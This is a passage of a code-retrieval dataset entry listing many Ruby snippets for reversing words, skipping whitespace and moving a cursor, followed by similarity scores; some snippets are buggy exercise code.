reverse_words(my_words)\n return my_words if my_words == nil || my_words.length == 0\n \n i = 0\n l = my_words.length\n start_char = 0\n finish_char = 0\n \n while i < l \n while my_words[i] == \" \"\n i += 1\n end\n start_char = i\n while my_words[i] != \" \" && i < l\n i += 1 \n end\n finish_char = (i -1) \n while start_char < finish_char\n temp = my_words[start]\n my_words[start_char] = my_words[finish_char]\n my_words[finish] = temp\n start_char += 1\n finish_char -= 1\n end\n end\n return my_words\nend", "def reverse_words(my_words)\n return if (my_words == nil || my_words.length == 0)\n\n i = 0\n total = my_words.length\n while i < total\n while my_words[i] == ' ' && i < total\n i += 1\n end\n starting = i\n\n while my_words[i] != ' ' && i < total\n i += 1\n end\n ending = i - 1\n\n partial_reverse(my_words, starting, ending)\n end\n return\nend", "def reverse_words(my_words)\n if my_words == nil\n return my_words\n end\n len = my_words.length\n i = 0\n low = nil\n high = nil\n len.times do\n if my_words[i] != \" \"\n if my_words[i - 1] == \" \" || i == 0\n low = i\n elsif my_words[i + 1] == \" \" || i + 1 == len\n high = i\n end\n if low != nil && high != nil\n j = 0\n len2 = high - low + 1\n (len2 / 2).times do\n l = my_words[low + j]\n h = my_words[high - j]\n x = l\n my_words[low + j] = h\n my_words[high - j] = x\n j += 1\n end\n high = nil\n low = nil\n end\n end\n i += 1\n end\n return my_words\nend", "def remove(n = 1)\n left(n)\n @text.slice!(@cursor, n)\n end", "def skip\n @str.slice! @last_re if peek_next_type != :eos\n end", "def reverse_sentence(my_sentence)\n if my_sentence == nil || my_sentence.empty?\n return my_sentence\n end\n\n i = 0\n j = 0\n temp = []\n\n until i == my_sentence.length\n until my_sentence[j] == \" \" && my_sentence[j + 1] != \" \" || my_sentence[j] != \" \" && my_sentence[j + 1] == \" \" || j == my_sentence.length - 1\n j += 1\n end\n\n temp << my_sentence[i..j]\n\n j += 1\n i = j\n end\n\n total_index = my_sentence.length\n\n temp.each do |capture|\n total_index = total_index - capture.length\n my_sentence[total_index..(total_index + capture.length - 1)] = capture\n end\nend", "def right(n = 1)\n @cursor = [@text.length, @cursor + n].min\n end", "def right(n = 1)\n @cursor = [@text.length, @cursor + n].min\n end", "def skip_white_spaces\n while char == \" \" || char == \"\\n\" do\n go_next\n end\n end", "def skip_space!\n if !do_skip_space!\n return false\n end\n while do_skip_space!; end\n true\n end", "def reverse_sentence(my_sentence)\n if my_sentence.nil?\n return nil\n end\n reverse_string(my_sentence)\n index = 0\n\n while index < my_sentence.length\n if my_sentence[index] == \" \"\n # do nothing\n else\n start_index = index\n end_index = index\n while my_sentence[end_index] != \" \" && my_sentence[end_index] != nil\n end_index += 1\n end\n # puts my_sentence[start_index]\n # puts my_sentence[end_index - 1]\n reverse_string(my_sentence, start_index, end_index - 1)\n index = end_index\n end\n index += 1\n end\nend", "def backward characters\n if (@char - characters) >= 0\n @char -= characters\n char\n else\n false\n end\n end", "def right_strip(string)\n i = string.length-1\n output = \"\"\n new_line = \"\\n\"\n tab = \"\\t\"\n space = \" \"\n while 0 < i\n if string[i] == new_line || string[i] == tab || string[i] == space \n i -= 1\n else\n j = 0\n while j <= i\n output += string[j]\n j += 1\n end\n if j == i + 1\n return output\n end\n end\n end\nend", "def reverse_words(sentence)\n if sentence == nil || sentence.length < 2\n return sentence\n else\n index = 0\n start_index = 0\n finish_index = 0\n\n until finish_index > sentence.length\n if sentence[index] == \" \" || index + 1 == sentence.length\n a = start_index\n\n if sentence[index] == \" \"\n b = finish_index - 1\n elsif index + 1 == sentence.length\n b = finish_index\n end\n\n while a < b\n temp = sentence[b]\n sentence[b] = sentence[a]\n sentence[a] = temp\n a += 1\n b -= 1\n end\n index += 1\n finish_index += 1\n start_index = finish_index\n\n elsif sentence[index] != \" \"\n index += 1\n finish_index += 1\n end\n end\n\n return sentence\n\n end\nend", "def reverse_words(sentence)\n first = 0\n last = sentence.length - 1\n\n while first < last\n sentence[first], sentence[last] = sentence[last], sentence[first]\n first += 1\n last -= 1\n end\n \n beginning_of_word = 0\n\n (0..sentence.length).each do |index|\n if sentence[index] == ' ' || index == sentence.length\n first = beginning_of_word\n last = index - 1\n while first < last\n sentence[first], sentence[last] = sentence[last], sentence[first]\n first += 1\n last -= 1\n end\n beginning_of_word = index + 1\n end\n end\n\n sentence\nend", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n return _tmp\n end", "def reverse_direction(line, index)\n return line.reverse.index(line[index])\nend", "def reverse_words(my_words)\r\n first_position = 0\r\n last_position = (my_words.length - 1)\r\n\r\n word = \"\"\r\n word_starting_index = 0\r\n word_ending_index = 0\r\n until first_position == last_position + 1\r\n character = my_words[first_position]\r\n if character == \" \"\r\n my_words[word_starting_index .. word_ending_index] = string_reverse(word)\r\n my_words[first_position] = character\r\n word = \"\"\r\n first_position += 1\r\n word_starting_index = first_position\r\n else\r\n word += character\r\n word_ending_index = first_position\r\n first_position += 1\r\n end\r\n end\r\n my_words[word_starting_index .. word_ending_index] = string_reverse(word)\r\nend", "def position_string\n # Oddly, String#delete is non-destructive, unlike Array#delete\n @padded_board_string.delete('*').scan(/..../).reverse.join\n end", "def spaces_suround\n string = self\n unless [-1] == \" \"\n string = string + \" \"\n end\n unless [0] == \" \"\n string = \" \" + string\n end\n string\n end", "def reverse_words(my_words) #with string_reverse\r\n return my_words if my_words.length < 2\r\n return string_reverse(my_words) if !my_words.include?(\" \")\r\n\r\n first = 0\r\n\r\n my_words.length.times do |last |\r\n if my_words[last].match(/\\s/)\r\n my_words[first...last] = string_reverse(my_words[first...last])\r\n first = last + 1\r\n elsif last == (my_words.length - 1)\r\n my_words[first..last] = string_reverse(my_words[first..last])\r\n end\r\n end\r\n\r\n return my_words\r\nend", "def reverse_words!(message)\n # first we reverse the entire thing\n reverse_characters!(message, 0, message.length - 1)\n\n current_start = 0\n\n # then we reverse each word\n (0..message.length).each do |i|\n # keep going unless message is over or we found a space\n next unless i == message.length || message[i] == ' '\n\n # if we found a space reverse the word\n\n reverse_characters!(message, current_start, i - 1)\n\n # start the next word ... we already know that there can only be 1 space\n\n current_start = i + 1\n end\n\n message # don't need to return but doing this to test spec\nend", "def reverse_words(my_words)\n i = 0\n j = 0\n\n if my_words == nil\n return\n end\n\n loop do\n # binding.pry\n until my_words[i] != \" \"\n i += 1\n break if i >= my_words.length - 1\n end\n j = i\n until my_words[j + 1] == \" \" || j == (my_words.length - 1)\n j += 1\n end\n # binding.pry\n string_reverse(my_words, i, j)\n i = j + 2\n # binding.pry\n break if i >= my_words.length - 1\n end\n return my_words\nend", "def reverse_sentence(my_sentence)\r\n # hold index of first character of original my_sentence\r\n i = 0\r\n # hold index of last character of first group of chars (whitespace or word)\r\n j = 0\r\n if my_sentence[1] == \" \"\r\n j += 1 while my_sentence[j + 1] == \" \"\r\n else\r\n j += 1 while my_sentence[j + 1] != \" \"\r\n end\r\n # hold max_index\r\n max_index = my_sentence.length - 1\r\n while j < max_index\r\n # find first group of chars (whitespace or word) starting from the end of my_sentence\r\n first_char = max_index\r\n if my_sentence[max_index] == \" \"\r\n first_char -= 1 while my_sentence[first_char - 1] == \" \"\r\n else\r\n first_char -= 1 while my_sentence[first_char - 1] != \" \"\r\n end\r\n chars = my_sentence[first_char..max_index]\r\n # put this group of chars before the index of the first char of the original my_sentence\r\n my_sentence[first_char..max_index] = \"\"\r\n my_sentence[i] = chars + my_sentence[i]\r\n i += max_index - first_char + 1\r\n j += max_index - first_char + 1\r\n end\r\nend", "def cut_word_forward()\n select_word_forward_including_whitespace(@number_prefix) + [\"copySelection\", \"deleteBackward:\"] +\n restore_cursor_position()\n end", "def front_to_back(word, index, how_far)\n word = string_to_char_array(word)\n word.rotate(how_far)\nend", "def delete_right_word\n chars = @text.scan(/./m)\n position = @cursor_position\n # skip all non-whitespaces first\n while position < chars.size && chars[position] != ' '\n position += 1\n end\n # skip all whitespaces\n while position < chars.size && chars[position] == ' '\n position += 1\n end\n delete_right(position - @cursor_position) if position > @cursor_position\n self.reset_cursor_blinking\n end", "def skipCharsBack(pos, code, min)\n return pos if pos <= min\n\n while (pos > min)\n return (pos + 1) if code != charCodeAt(@src, pos -= 1)\n end\n return pos\n end", "def left_strip(string)\n whitespaces = [\"\\n\", \"\\t\"]\n i = 0\n output = \"\"\n while i<=string.length-1\n if string[i] == whitespaces[1] || string[i] == whitespaces[2]\n i+=1 \n else\n while i<=string.length-1\n output += string[i]\n i+=1\n end\n return output\n end\n end\n return output\nend", "def backward(n = nil)\n CSI + \"#{n || 1}D\"\n end", "def reverse_words(message)\n reverse_characters(message, 0, message.length-1)\n word_start_index = 0\n message.each_char.with_index do |char, index|\n if char == \" \"\n word_end_index = index - 1\n reverse_characters(message, word_start_index, word_end_index)\n word_start_index = index + 1\n elsif index == message.length-1\n word_end_index = message.length-1\n reverse_characters(message, word_start_index, word_end_index)\n end\n end\n message\nend", "def rstrip!\n erase! @result.length - 1 - (@result.rindex(/[^\\s]/) || -1)\n end", "def command_skip\r\n @index += 1 while @list[@index + 1].indent > @indent\r\n end", "def down(spaces=1)\n \"\\e[#{spaces.to_i}B\"\n end", "def reverse_words(my_words)\n return nil if my_words == nil\n i = 0\n start_index = 0\n my_words.length.times do\n if my_words[i] == \" \"\n my_words = reverse_word(my_words, start_index, i - 1)\n start_index = i + 1\n end\n i += 1\n end\n\n my_words = reverse_word(my_words, start_index, i - 1) # for last word\n\n return my_words\nend", "def skip_spaces\n ws = { ?\\s => true, ?\\n => true, ?\\r => true, ?\\t => true }\n while r = self.getc\n unless ws[r] then\n self.ungetc(r)\n break\n end\n end\n nil\n end", "def trim(n)\r\n @text = @text[n..-1] || \"\"\r\n end", "def backward_kill_word(*)\n first_letter_backward = current_buffer.rindex(/\\p{L}/, current_buffer.point) || 0\n first_non_letter_before_word = current_buffer.rindex(/\\P{L}/, first_letter_backward) || -1\n current_buffer.slice!(first_non_letter_before_word + 1..current_buffer.point)\n true\nend", "def reverse_words(my_words)\r\n j = 0\r\n i = 0\r\n while j < my_words.length - 1\r\n #find the beginning of the word\r\n i += 1 while my_words[i] == \" \"\r\n #find the end of the word\r\n j += 1 while (my_words[j + 1] != \" \" && my_words[j] == \" \") && (j != my_words.length - 1)\r\n #set counters for reverse\r\n k = i\r\n l = j\r\n #reverse the word in place\r\n while k < l\r\n letter = my_words[k]\r\n my_words[k] = my_words[l]\r\n my_words[l] = letter\r\n k += 1\r\n l -= 1\r\n end\r\n i = j + 2\r\n j = i\r\n end\r\n\r\nend", "def space()\n # pocitanie riadkov\n self.line.push position if /\\n/ === data[position]\n /\\s/ === data[position]\n\n end", "def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end", "def remaining\n @string[@index..-1]\n end", "def reverse_words(my_words)\n if my_words == nil || my_words == \"\" || my_words.length == 1\n return my_words\n end\n i = 0\n while i < my_words.length\n start_index = 0\n end_index = 0\n while my_words[i] == \" \"\n i += 1\n end\n if my_words[i] != \" \"\n start_index = i\n end\n # creates an infinitive loops\n while my_words[i + 1] != \" \" && my_words[i + 1] != nil\n i += 1\n end\n end_index = i\n string_reverse(my_words, start_index, end_index)\n i += 1\n end\n return\nend", "def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end", "def column_backspace(row1,row2,col)\n\t\tif col == 0 then return end\n\t\tsc = bc2sc(@row,col)\n\t\tfor r in row1..row2\n\t\t\tc = sc2bc(r,sc)\n\t\t\tif @text[r].length == 0 then next end\n\t\t\tif c<=0 then next end\n\t\t\t@text[r] = @text[r].dup\n\t\t\t@text[r][c-1] = \"\"\n\t\tend\n\t\tcursor_left\n\tend", "def flip\n sentence_array = @sentence.split\n length = sentence_array.count\n flipped_sentence = length.times.map do |i|\n sentence_array[-i - 1]\n end\n flipped_sentence.join(\" \")\n end", "def reverse_sentence(my_sentence)\n if my_sentence == nil\n return my_sentence\n end\n \n length = my_sentence.length\n (length / 2).times do |i|\n my_sentence[i], my_sentence[length - 1 - i] = my_sentence[length - 1 - i], my_sentence[i]\n end\n \n prev_char = nil\n next_char = my_sentence[1]\n word_break_indexes = []\n word_start_indexes = []\n if my_sentence[0] != \" \"\n word_start_indexes << 0\n end\n \n my_sentence.each_char.with_index do |char, index|\n if char == \" \" && prev_char != \" \"\n unless prev_char == nil\n word_break_indexes << index\n end\n end\n \n if char == \" \" && next_char != \" \"\n unless next_char == nil\n word_start_indexes << index\n end\n end\n prev_char = char\n next_char = my_sentence[index + 2]\n end\n \n if my_sentence[length - 1] != \" \"\n word_break_indexes << length\n end\n \n x = 0\n word_break_indexes.each do |index|\n if x == 0\n if my_sentence[0] == \" \"\n ((index - word_start_indexes[0]) / 2).times do |i|\n my_sentence[word_start_indexes[0] + 1 + i], my_sentence[index - 1 - i] = my_sentence[index - 1 - i], my_sentence[word_start_indexes[0] + 1 + i]\n end\n else\n (index / 2).times do |i|\n my_sentence[i], my_sentence[index - 1 - i] = my_sentence[index - 1 - i], my_sentence[i]\n end\n end\n else\n ((index - word_start_indexes[x] - 1) / 2).times do |i|\n my_sentence[word_start_indexes[x] + 1 + i], my_sentence[index - 1 - i] = my_sentence[index - 1 - i], my_sentence[word_start_indexes[x] + 1 + i]\n end\n end\n x += 1\n end\n \n return my_sentence\n \nend", "def reverse_words(my_words)\n return my_words if my_words.nil?\n\n breaks = spaces(my_words) #breaks found with helper method\n \n first = 0\n breaks.each do |space|\n last = space - 1\n\n while first < last\n a = my_words[first]\n my_words[first] = my_words[last]\n my_words[last] = a\n first += 1\n last -= 1\n end\n first = space + 1\n end\nend", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\f\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\v\")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "def strip_side_space!\n replace self.gsub(/^\\s+/, \"\").gsub(/\\s+$/, $/)\n end", "def prefer_trailing_space\n if b.text =~ %r{^(\\s+)(.*)$}\n space, _ = $1, $2\n shift_backward(space)\n end\n end", "def delete_ending(word)\n word_size = word.size\n if word_size <= 3\n return word\n else\n 3.downto(1).each do |i|\n ending = word.last(i)\n if @rus_endings.include?(ending)\n return word[0, word_size - i]\n end\n end\n end\n\n word\n end", "def get_ride_of_space(my_phrase)\n edited_phrase = \"\"\n i = 0\n while i < my_phrase.length\n temp = my_phrase[i]\n if temp != \" \"\n edited_phrase += temp\n end\n i += 1\n end\n return edited_phrase\nend", "def move_forward\n Proc.new { | spaces | \"#{ @column }#{ forward( spaces ) }\" }\n end", "def position_taken?(array,index)\n array[index] != \" \"\nend", "def reverse_inplace(s)\n\treturn reverse_helper(s, 0, (s.length - 1))\nend", "def reverse(string)\r\n size = string.length\r\n i = -1\r\n size.times do \r\n print string[i]\r\n i -=1\r\n end\r\n puts\r\nend", "def position_taken? (board, numeric_position)\n board[numeric_position - 1] == \" \"\nend", "def reverse_words(str)\n reverse_string(str, 0, str.size - 1)\n i = 0\n j = 1\n while j < str.size\n j += 1 until str[j] == ' ' || j == str.size\n reverse_string(str, i, j - 1)\n i = j + 1\n j = i + 1\n end\nend", "def indent(n)\n if n >= 0\n gsub(/^/, ' ' * n)\n else\n gsub(/^ {0,#{-n}}/, \"\")\n end\n end", "def move_foward(n); print \"\\e[#{n}C\" end", "def taken?(input)\n position(input) != \" \"\n end", "def undoMove(index)\n @board[index] = \" \"\n end", "def answer(message)\n reverse_characters(message, 0, message.length - 1)\n current_word_start_index = 0\n\n for i in 0..message.length\n if (message[i] == ' ') || (i == message.length)\n reverse_characters(message, current_word_start_index, i - 1)\n current_word_start_index = i + 1\n end\n end\n\n p message\nend", "def prev_char(options = {})\n ix = column - 1\n ix = skip_space(ix, :left) if options[:skip_space]\n char_at(ix) || ''\n end", "def space_before()\n #This is a stub, used for indexing\n end", "def remove\n left\n @text.slice!(@cursor, 1)\n end", "def left_strip(str)\n output = \"\"\n whitespace = \"\\n\\t \"\n i = 0\n left = true\n while i < str.length\n if !left\n output << str[i]\n elsif !whitespace.include? str[i]\n left = false\n output << str[i]\n end\n i+=1\n end\n return output\nend", "def reverse_inplace(s, left = 0, right = s.length - 1)\n return '' if s.empty?\n return s if s.length == 1\n if left < right\n s[left], s[right] =\n s[right], s[left]\n reverse_inplace(s, left + 1, right - 1)\n end\n return s\nend", "def cursor_move_right_word\n chars = @text.scan(/./m)\n # skip all non-whitespaces first\n while @cursor_position < chars.size && chars[@cursor_position] != ' '\n @cursor_position += 1\n end\n # skip all whitespaces\n while @cursor_position < chars.size && chars[@cursor_position] == ' '\n @cursor_position += 1\n end\n self.reset_cursor_blinking\n end", "def chop_sides(s)\n s[1...-1]\nend", "def skip_white\n while is_white(@look)\n get_char\n end\nend", "def reverse_words(str)\n anchor = runner = str.length - 1\n\n while runner > 0\n while str[runner] != ' ' && runner > 0\n runner -= 1\n end\n\n break if runner == 0\n\n beginning = runner + 1\n\n while beginning <= anchor\n str[beginning], str[anchor] = str[anchor], str[beginning]\n beginning += 1\n anchor -= 1\n end\n\n runner -= 1\n anchor = runner\n end\n\n while runner <= anchor\n str[runner], str[anchor] = str[anchor], str[runner]\n runner += 1\n anchor -= 1\n end\n\n runner = 0\n anchor = str.length - 1\n\n while runner <= anchor\n str[runner], str[anchor] = str[anchor], str[runner]\n\n runner += 1\n anchor -= 1\n end\n\n str\nend", "def trailing_positionals; end", "def _space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\t\")\n break if _tmp\n self.pos = _save\n _tmp = apply(:_eol)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_space unless _tmp\n return _tmp\n end", "def reverse_inplace(s)\n return reverse_helper(s, 0 , s.length - 1) \nend", "def reverse_inplace(s, i = 0, j = -1)\n n = s.length \n if i == n / 2 \n return s \n else \n letter = s[i]\n s[i] = s[j]\n s[j] = letter \n reverse_inplace(s, i + 1, j - 1)\n end \nend", "def _Space\n\n _save = self.pos\n while true # choice\n _tmp = match_string(\" \")\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"\\\\t\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_Space unless _tmp\n return _tmp\n end", "def remove(word, idx)\n word[0...idx] + word[idx+1..-1]\n end", "def reversal(sentence)\n sentence.split(' ').reverse.join(' ')\nend", "def consume_trailing_spaces # :nodoc:\n skip_tkspace_without_nl\n end", "def no_space(x)\n x.delete(' ')\nend" ]
[ "0.7369067", "0.6451939", "0.64301026", "0.6069461", "0.6020661", "0.59331566", "0.5921333", "0.59127516", "0.5790662", "0.5773551", "0.57260996", "0.5724223", "0.57127446", "0.5690661", "0.56866723", "0.5681247", "0.5628295", "0.5617192", "0.56161934", "0.56072617", "0.5605266", "0.55713135", "0.55600035", "0.55518615", "0.5529642", "0.5529642", "0.5518336", "0.5513935", "0.55127823", "0.5491282", "0.54888195", "0.5484761", "0.5474043", "0.5469378", "0.5436355", "0.5432628", "0.54273134", "0.54267925", "0.5426094", "0.5413657", "0.53953046", "0.5387492", "0.5384287", "0.5380833", "0.536667", "0.53479034", "0.5332038", "0.5324065", "0.5321947", "0.53057975", "0.5305681", "0.53048766", "0.52986884", "0.5297025", "0.5287238", "0.5282722", "0.52807355", "0.52721703", "0.52676606", "0.52670574", "0.5266674", "0.526635", "0.52501935", "0.5249201", "0.5243966", "0.5240931", "0.52386653", "0.52385885", "0.5236716", "0.5227072", "0.5222698", "0.52206945", "0.521477", "0.52089614", "0.5208365", "0.52068204", "0.5206386", "0.5205614", "0.5194692", "0.5194637", "0.51911867", "0.5188316", "0.51849556", "0.5184644", "0.51833874", "0.5169541", "0.51679444", "0.5162745", "0.51575994", "0.5157299", "0.51526403", "0.5150798", "0.51485676", "0.51457345", "0.51438534", "0.5137575", "0.51354116", "0.51264286", "0.5124167", "0.51175296" ]
0.67966926
1
Skip char codes from given position
def skipChars(pos, code) max = @src.length while pos < max break if (charCodeAt(@src, pos) != code) pos += 1 end return pos end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def skipCharsBack(pos, code, min)\n return pos if pos <= min\n\n while (pos > min)\n return (pos + 1) if code != charCodeAt(@src, pos -= 1)\n end\n return pos\n end", "def skipSpaces(pos)\n max = @src.length\n while pos < max\n ch = charCodeAt(@src, pos)\n break if !isSpace(ch)\n pos += 1\n end\n return pos\n end", "def skip_white\n while is_white(@look)\n get_char\n end\nend", "def skip?(char)\n !KEYMAP.include? char\n end", "def skip\n @str.slice! @last_re if peek_next_type != :eos\n end", "def skipSpacesBack(pos, min)\n return pos if pos <= min\n\n while (pos > min)\n return pos + 1 if !isSpace(charCodeAt(@src, pos -= 1))\n end\n return pos\n end", "def __skip_contiguous_whitespace(index)\n lim = self.__size\n while(index < lim)\n char = self.__ordAt(index)\n return index unless char <= 32 and __is_whitespace(char) # \\t \\n etc. are less than space which is 32\n index += 1\n end\n return index\n end", "def next_char_ignored\n state[:ignore] = true\n end", "def parse_skip(src, current_pos)\n group = 1\n while (true)\n case(src[current_pos])\n when '{' then group += 1\n when '}' then\n group -= 1\n break if group == 0\n end\n current_pos += 1\n end\n\n current_pos\n end", "def first_char_idx\n dewey? ? 3 : 0\n end", "def char_offset(offset)\n raise \"Should not be called\"\n end", "def erase!(chars)\n return if chars == 0\n str = @result.slice!(-chars..-1)\n newlines = str.count(\"\\n\")\n if newlines > 0\n @line -= newlines\n @offset = @result[@result.rindex(\"\\n\") || 0..-1].size\n else\n @offset -= chars\n end\n end", "def skip n=1\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer= @buffer[n..-1]\r\n\t\tif !@buffer then nl end\r\n\t\tif !@buffer then return nil end\r\n\t\t@buffer.lstrip!\r\n\t\t@col=@max-@buffer.length+1\r\n\t\tif (@buffer.lstrip==\"/n\" || @buffer.lstrip==\"\") then nl end\r\n end", "def skip_space(ix, direction)\n diff = { :left => -1, :right => 1 }[direction]\n ix += diff until ix < 1 || char_at(ix) =~ /[^ \\t]/ || char_at(ix).blank?\n ix\n end", "def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end", "def loop_back (chr_code, number) # z => a, Z => A\n ((chr_code + number > 122 && chr_code.between?(97,122)) ||\n (chr_code + number > 90 && chr_code.between?(65,90))) ?\n chr_code + number - 26 : chr_code + number\n end", "def strip_index(input); end", "def skip_until(pattern)\n x = @pos || 0\n y = _scan(pattern, true, false)\n y.nil? ? nil : y - x\n end", "def exclude(arr, char)\n output = []\n i = 0\n charlength = char.length\n while i < arr.length\n if arr[i] != char\n output << arr[i]\n i += 1\n else\n i += 1\n end\n end\n return output\nend", "def parse_skipline\n s0 = @scanner.pos\n s1 = match_str('#')\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_nonls\n s3 = parse_newline\n s0 = if s3 == :failed\n @scanner.pos = s0\n :failed\n else\n [s1, s2, s3]\n end\n end\n s0\n end", "def command_skip\r\n @index += 1 while @list[@index + 1].indent > @indent\r\n end", "def NextChar\r\n\t\t@Line.slice!(0, 1)\r\n\tend", "def find_missing_letter(arr)\n #your code here\n result = 0\n base_arr = arr.join().codepoints\n base_arr.each_with_index do |item,index|\n if base_arr[index+1] != item + 1\n result = item + 1\n break\n end\n end\n result.chr\nend", "def skip\n @scanner.skip(@skip)\n end", "def skip!\n loop do\n size = @io.getbyte\n break if size <= 0\n @io.seek(size, IO::SEEK_CUR)\n end\n end", "def next_char c, number\n new_ord = c.ord + filter_by_95(number)\n if new_ord > 126\n new_ord -= (126 - 31)\n end\n return new_ord.chr\nend", "def skip_white_space_or_to_eoln\r\n while (next_char = @source.get)\r\n return next_char if (next_char > ' ') || @source.eoln?\r\n end\r\n end", "def shift_char_code_by_n(byte_code, n)\n offset = (byte_code - CHAR_CODE_A + n) % 26\n offset + CHAR_CODE_A\n end", "def first_char_with_odd_ascii_gr8ter_80(input)\n input.find do |c|\n c.ord.odd? && c.ord > 80\n end\n end", "def prev_char c, number\n new_ord = c.ord - filter_by_95(number)\n if new_ord < 32\n new_ord += (126 - 31)\n end\n return new_ord.chr\nend", "def create_bad_scans_skip\n @index = self.short_description.index(\"skip ip\")\n @result = self.short_description[@index + 1, 22]\n @string = @result.gsub(/[skip:,]/,' ')\n @array = @string.split(/\\s*/)\n @skip_number = \"\"\n @array.each do |char|\n if(char==\"\")\n @skip_number.concat(\"\")\n elsif(char==\":\")\n @skip_number.concat(\"\")\n elsif(char==\",\")\n @skip_number.concat(\"\")\n else\n @skip_number.concat(char)\n end\n end\n self.skip = @skip_number.strip()\nend", "def zero_start\n @chr_start - 1\n end", "def next_skip_line_number\n first = self.next\n first.type == :integer ? self.next : first\n end", "def bad_decode(letter1, letter2, letter3)\n new1 = \"abcdefghijklmnopqrstuvwxyz\".index(letter1) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new1.to_i]\n new2 = \"abcdefghijklmnopqrstuvwxyz\".index(letter2) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new2.to_i]\n new3 = \"abcdefghijklmnopqrstuvwxyz\".index(letter3) - 1\n puts \"abcdefghijklmnopqrstuvwxyz\"[new3.to_i]\nend", "def nextchar\n c = self.more?() ? @source[@index,1] : \"\\0\"\n @index += 1\n return(c)\n end", "def line_char_to_offset(text, line, character); end", "def cipher_shift(array, offset)\n # binding.pry\n array.map! do |x|\n if !(x.between?(97, 122) || x.between?(65,90))\n x = x\n elsif x.between?(97, 122)\n if (x + offset).between?(97, 122)\n x += offset\n else\n x += offset - 26\n end\n elsif x.between?(65, 90)\n if (x + offset).between?(65, 90)\n x += offset\n else\n x += offset - 26\n end\n end\n end\nend", "def next_char(options = {})\n ix = column\n ix = skip_space(ix, :right) if options[:skip_space]\n char_at(ix) || ''\n end", "def polyshift_extract(str, pos)\r\n ciphertext = \"\"\r\n shift_len = pos\r\n char_pos = 1\r\n\r\n str.each_char do |char|\r\n\r\n if (char_pos % shift_len == 1) then\r\n ciphertext << char\r\n end\r\n\r\n char_pos = char_pos + 1\r\n\r\n end\r\n\r\n return ciphertext\r\nend", "def prev_char\n self.cursor -= 1\n end", "def getChar\n if @index <= @code.size - 1\n return @code[@index] if !@code[@index].nil?\n end\n # If nil return empty string.\n return nil\n end", "def next_char\n @pos += 1\n if (c = @source[@pos..@pos]) == BACKSLASH\n @pos += 1\n [true, @source[@pos..@pos]]\n else\n [false, c]\n end\n end", "def delete_prev_char\n return -1 if !@editable \n return if @curpos <= 0\n # if we've panned, then unpan, and don't move cursor back\n # Otherwise, adjust cursor (move cursor back as we delete)\n adjust = true\n if @pcol > 0\n @pcol -= 1\n adjust = false\n end\n @curpos -= 1 if @curpos > 0\n delete_at\n addcol -1 if adjust # move visual cursor back\n @modified = true\n end", "def position_for(char)\n return ''.freeze if char.position.y == @y\n\n @y = char.position.y\n char.position.to_s\n end", "def backward characters\n if (@char - characters) >= 0\n @char -= characters\n char\n else\n false\n end\n end", "def prev_char(options = {})\n ix = column - 1\n ix = skip_space(ix, :left) if options[:skip_space]\n char_at(ix) || ''\n end", "def char_with_odd_ascii(input)\n input.select do |c|\n c.ord.odd?\n end\nend", "def first_char_with_ascii_gr8ter_120(input)\n input.find do |c|\n c.ord > 120\n end\nend", "def to_offset(text, position); end", "def bytepos; end", "def backward_kill_word(*)\n first_letter_backward = current_buffer.rindex(/\\p{L}/, current_buffer.point) || 0\n first_non_letter_before_word = current_buffer.rindex(/\\P{L}/, first_letter_backward) || -1\n current_buffer.slice!(first_non_letter_before_word + 1..current_buffer.point)\n true\nend", "def NonrepeatingCharacter(str)\n str.chars.each_with_index do |char,idx|\n after = idx + 1\n return char unless str.chars[after..str.length - 1].include?(char)\n end\nend", "def select_odd_chars(text)\n text.gsub(/(?!&)([[:punct:]])\\u200c/, \"\\\\1\")\n end", "def chars_left; end", "def line_from_char(index = -1)\n send_message(:LINEFROMCHAR, index.to_i)\n end", "def reserved_codes\n return @reserved_codes if @reserved_codes\n @reserved_codes = {\n \"$!RepeatNum\" => \"position(..)\"\n }\n\n # We can't use repeat num if src_item is root because root or top level\n # because can't be in a repeat group.\n if src_item.depth < 2\n @reserved_codes[\"$!RepeatNum\"] = nil\n end\n\n @reserved_codes\n end", "def advance \n \n @pos += 1\n if @pos > @text.length - 1\n @currentChar = nil\n else \n @currentChar = @text[@pos]\n end\n \n end", "def skip_next_move(player_no)\n\t\t@skip_next_move[player_no - 1]\n\tend", "def remove_whitespace_before(index, buffer, rewriter, remove_preceeding_newline)\n end_pos = index\n begin_pos = end_pos - 1\n begin_pos -= 1 while code[begin_pos] =~ /\\s/ && code[begin_pos] != \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\"\n begin_pos -= 1 if code[begin_pos] == \"\\n\" && remove_preceeding_newline\n return if begin_pos.next == end_pos\n rewriter.remove Parser::Source::Range.new(buffer, begin_pos.next, end_pos)\n end", "def _skip_next\n @index += 1\n\n self\n end", "def strip_color_codes(text); end", "def split_code\n index = self.code_index\n self.split_at index if index\n end", "def shift_character_by(char, index)\n new_ord = (char.ord + index)\n if new_ord > LAST_CHARACTER_ORD\n new_ord -= ALPHABET_SIZE\n elsif new_ord < FIRST_CHARACTER_ORD\n 